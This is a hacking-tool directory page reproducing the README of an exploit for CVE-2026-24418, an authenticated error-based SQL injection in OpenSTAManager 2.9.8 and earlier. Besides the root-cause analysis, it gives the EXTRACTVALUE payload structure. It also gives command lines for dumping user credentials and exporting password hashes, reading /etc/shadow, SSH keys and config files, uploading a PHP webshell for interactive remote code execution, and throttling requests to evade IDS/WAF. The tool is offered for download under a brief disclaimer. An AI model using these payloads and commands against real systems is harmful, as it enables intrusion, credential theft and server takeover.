Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/bridgeralderson/cve-2026-24418
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingDatabase Security

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.

View Repository
222 months agoNot yet reviewed

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Error-Based SQL Injection in Scadenzario Bulk Operations Module

Overview

FieldDetails
CVE IDCVE-2026-24418
SeverityHIGH (8.8)
CWECWE-89: SQL Injection
Affected VersionsOpenSTAManager <= 2.9.8
Vulnerable Parameterid_records[] (POST array)
Vulnerable Endpoint/actions.php?id_module=18
Attack TypeError-Based SQL Injection (EXTRACTVALUE)
AuthenticationRequired (any valid user account)

Vulnerability Details

OpenSTAManager v2.9.8 and earlier versions contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id_records[] array are integers before using them in an SQL IN() clause, allowing authenticated attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.

Root Cause

  1. Entry Point — /actions.php receives id_records[] via POST
  2. Insufficient Sanitization — array_clean() only removes empty values, does NOT validate data types
  3. Injection Point — /modules/scadenzario/bulk.php passes unsanitized values directly into a SQL IN() clause
  4. Data Exfiltration — EXTRACTVALUE/UPDATEXML error messages leak query results

Features

Installation

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Usage

Authentication

root@kitploit:~
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p password --info

# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Reconnaissance

root@kitploit:~
# Database info + privileges + user credentials
python3 exploit.py -t http://target.com -u admin -p secret --all

# Check MySQL privileges (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Credential Extraction

root@kitploit:~
# Dump users and auto-export hashes
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Output files:
#   ./loot/users.json          - Full user data
#   ./loot/users.csv           - CSV format
#   ./loot/hashes_hashcat.txt  - Hashcat format (mode 3200)
#   ./loot/hashes_john.txt     - John format (user:hash)

Database Enumeration

root@kitploit:~
# List all databases
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# List tables in a specific database
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# List columns of a table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Dump specific columns with row limit
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

File Read (LFI via SQL)

root@kitploit:~
# Read /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Read application config (database credentials)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Read SSH keys
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# HEX mode (bypass character filters)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Remote Code Execution

root@kitploit:~
# Upload webshell (auto-detects webroot)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Upload webshell with specific webroot
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Interactive shell session
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE will auto-upload webshell if none exists

Output & Reporting

root@kitploit:~
# Save everything to a directory
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Generated files:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Network Options

root@kitploit:~
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# With request delay (2 seconds between requests)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Full Option Reference

root@kitploit:~
Target:
  -t, --target           Target base URL

Authentication:
  -u, --user             Username for login
  -p, --password         Password for login
  -c, --cookie           Existing PHPSESSID value

Enumeration:
  -D, --database         Target database name
  -T, --table            Target table name
  -C, --columns-list     Columns to dump (comma-separated)
  --limit                Row limit for dumps

Actions:
  --info                 Database server information
  --users                Dump zz_users credentials
  --dbs                  Enumerate databases
  --tables               List tables
  --columns              List columns (requires -T)
  --dump                 Dump data (requires -T and -C)
  --sql QUERY            Custom SQL query
  --all                  Run --info + --privs + --users
  --privs                Check MySQL privileges

File Operations:
  --file-read PATH       Read file via LOAD_FILE()
  --file-read-hex PATH   Read file via HEX encoding

Remote Code Execution:
  --webshell             Upload PHP webshell
  --webroot PATH         Webroot path for shell upload
  --rce                  Interactive command execution

Output:
  -o, --output DIR       Save results to directory

Network:
  -m, --module-id        Module ID (default: 18)
  --proxy                HTTP proxy URL
  -k, --no-ssl-verify    Disable SSL verification
  --delay                Request delay in seconds

Technical Details

Payload Structure

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

EXTRACTVALUE Character Limit

MySQL's EXTRACTVALUE() returns max ~32 characters via XPATH errors. The tool automatically chunks long results using SUBSTRING():

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Chunk 1
SUBSTRING((<query>), 32, 31)   -- Chunk 2
...

Webshell Upload Mechanism

Technical Note on Error-Based Context: While --webshell and --rce are included for maximum coverage, MySQL strictly forbids using INTO DUMPFILE within a subquery or an IN() clause (which is exactly where this CVE's injection point is located).

Therefore, writing files directly via this specific error-based injection will typically fail with a syntax error unless:

  1. The target environment allows Stacked Queries (very rare in modern PHP/PDO setups).
  2. You manage to pivot the payload into a UNION-based injection.

If you confirm FILE privileges via --privs, your best bet is using --file-read and --file-read-hex, as LOAD_FILE() works flawlessly inside error-based subqueries.

When FILE privilege is available and constraints allow:

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

Vulnerable Code Path

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── receives id_records[]
        └── array_clean() ─── only removes empty values
            └── bulk.php (L88) ─── builds SQL IN() clause
                └── Database.php (L289) ─── executes unsanitized query
                    └── XPATH error leaks data

Attack Chain Example

root@kitploit:~
1. --privs        → Check FILE privilege
2. --users        → Dump credentials, export hashes
3. --file-read    → Read config.inc.php for DB creds
4. --file-read    → Read /etc/passwd for usernames
5. --webshell     → Upload PHP webshell
6. --rce          → Interactive shell → pivot

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author assumes no liability for misuse.

References

  • CVE-2026-24418 (NVD)
  • GitHub Security Advisory — GHSA-4xwv-49c8-fvhq
  • OpenSTAManager Repository
  • PoC by Lukasz Rybak
Download Tool
FeatureDescription
--infoDatabase server fingerprinting (version, user, hostname, OS, paths)
--privsMySQL privilege enumeration (FILE, SUPER, PROCESS)
--usersFull credential dump from zz_users with auto hash export
--dbsEnumerate all accessible databases
--tablesList tables with row counts
--columnsList columns with types and nullable info
--dumpData exfiltration from any table/column
--sqlCustom SQL query execution
--file-readRead server files via LOAD_FILE() (/etc/passwd, config files, SSH keys)
--file-read-hexHEX-encoded file read to bypass filters
--webshellUpload PHP webshell via INTO DUMPFILE
--rceInteractive command execution via uploaded webshell
-o / --outputSave all results to JSON, CSV, and hashcat/john formats
--proxyHTTP proxy support (Burp Suite)
--delayRequest throttling for IDS/WAF evasion